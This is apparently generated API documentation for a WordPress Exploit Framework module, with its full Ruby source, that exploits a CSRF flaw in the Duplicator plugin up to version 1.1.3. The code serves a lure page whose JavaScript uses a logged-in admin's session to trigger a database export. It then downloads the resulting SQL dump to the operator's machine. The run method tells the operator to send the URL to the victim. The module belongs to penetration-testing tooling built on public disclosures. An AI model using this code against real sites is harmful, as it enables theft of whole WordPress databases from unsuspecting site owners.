Class: Wpxf::Auxiliary::DuplicatorCsrfDbExport

Inherits:
Module
  • Object
show all
Includes:
Wpxf, Helpers::Export, Net::HttpServer
Defined in:
lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from Helpers::Export

#export_and_log_loot, #export_path, #generate_unique_filename, #register_export_path_option

Methods included from Db::Loot

#store_loot

Methods included from Net::HttpServer

#http_server_bind_address, #http_server_bind_port, #http_server_thread, #js_ajax_download, #js_ajax_post, #js_post, #start_http_server, #stop_http_server

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ DuplicatorCsrfDbExport

Returns a new instance of DuplicatorCsrfDbExport.



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# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 10

def initialize
  super

  update_info(
    name: 'Duplicator <= 1.1.3 CSRF Database Export',
    desc: %(
      This module exploits a cross-site request forgery vulnerability found
      in Duplicator <= 1.1.3 which will create a database export when a user
      visits the generated web page.
    ),
    author: [
      'RatioSec Research', # Discovery and disclosure
      'rastating'          # WPXF module
    ],
    references: [
      ['WPVDB', '8388'],
      ['URL', 'http://www.ratiosec.com/2016/duplicator-wordpress-plugin-source-database-disclosure-via-csrf/'],
      ['URL', 'http://www.securityfocus.com/archive/1/537506'],
      ['URL', 'http://lifeinthegrid.com/support/knowledgebase.php?article=20']
    ],
    date: 'Feb 10 2016'
  )

  register_options([
    StringOption.new(
      name: 'local_host',
      desc: 'The address of the host listening for a connection',
      required: true
    ),
    StringOption.new(
      name: 'complete_path',
      desc: 'The path to request when the attack is complete',
      required: true,
      default: Utility::Text.rand_alpha(rand(6..10))
    )
  ])

  register_export_path_option(true)
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 50

def check
  check_plugin_version_from_readme('duplicator', '1.1.4')
end

#complete_path ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 54

def complete_path
  datastore['complete_path']
end

#complete_url ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 62

def complete_url
  "#{local_host_base_url}#{complete_path}"
end

#download_backup ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 146

def download_backup
  url = normalize_uri(full_uri, 'wp-snapshots', "#{package_name}_#{package_hash}_database.sql")
  emit_info "Checking URL: #{url}", true
  sleep(5)
  res = download_file(url: url, method: :get, local_filename: export_path)
  return unless res.code == 200

  @success = true
  emit_success "Downloaded backup to #{export_path}"
  stop_http_server
end

#local_host_base_url ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 58

def local_host_base_url
  "http://#{datastore['local_host']}:#{http_server_bind_port}/"
end

#on_http_request(path, _params, _headers) ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 135

def on_http_request(path, _params, _headers)
  if path.eql?("/#{complete_path}")
    emit_info 'Checking for remote backup...'
    download_backup
    ''
  else
    emit_info 'Serving page to client...'
    { type: 'text/html', body: page_markup }
  end
end

#package_hash ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 66

def package_hash
  @package_hash ||= Utility::Text.rand_alpha(6)
end

#package_name ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 70

def package_name
  @package_name ||= Utility::Text.rand_alpha(6)
end

#page_markup ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 121

def page_markup
  %(
    <html>
    <head>
    </head>
    <body>
      <script>
        #{page_script}
      </script>
    </body>
    </html>
  )
end

#page_script ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 74

def page_script
  func1 = Utility::Text.rand_alpha(rand(5..10))
  func2 = Utility::Text.rand_alpha(rand(5..10))
  %|
    debugger;

    function #{func2}() {
      var xhr = new XMLHttpRequest();
      xhr.open("GET", "#{wordpress_url_admin_ajax}?action=duplicator_package_build", true);
      xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
      xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
      xhr.withCredentials = true;
      var body = "";
      var aBody = new Uint8Array(body.length);
      for (var i = 0; i < aBody.length; i++)
        aBody[i] = body.charCodeAt(i);
      xhr.send(new Blob([aBody]));
      xhr.onreadystatechange = function() {
        if (xhr.readyState == 4) {
          window.location = '#{complete_url}';
        }
      };
    }

    function #{func1}() {
      var xhr = new XMLHttpRequest();
      xhr.open("POST", "#{normalize_uri(wordpress_url_admin, 'admin.php')}?page=duplicator&tab=new2", true);
      xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
      xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
      xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
      xhr.withCredentials = true;
      var body = "action=&package-hash=#{package_hash}&package-name=#{package_name}&package-notes=&archive-format=ZIP&filter-dirs=&filter-exts=&dbhost=&dbport=&dbname=&dbuser=&url-new=";
      var aBody = new Uint8Array(body.length);
      for (var i = 0; i < aBody.length; i++)
        aBody[i] = body.charCodeAt(i);
      xhr.send(new Blob([aBody]));
      xhr.onreadystatechange = function() {
        if (xhr.readyState == 4) {
          #{func2}();
        }
      };
    }

    #{func1}();
  |
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/duplicator_csrf_db_export.rb', line 158

def run
  return false unless super

  emit_info 'Provide the URL below to the victim to begin the database backup'
  puts
  puts local_host_base_url
  puts

  start_http_server
  @success
end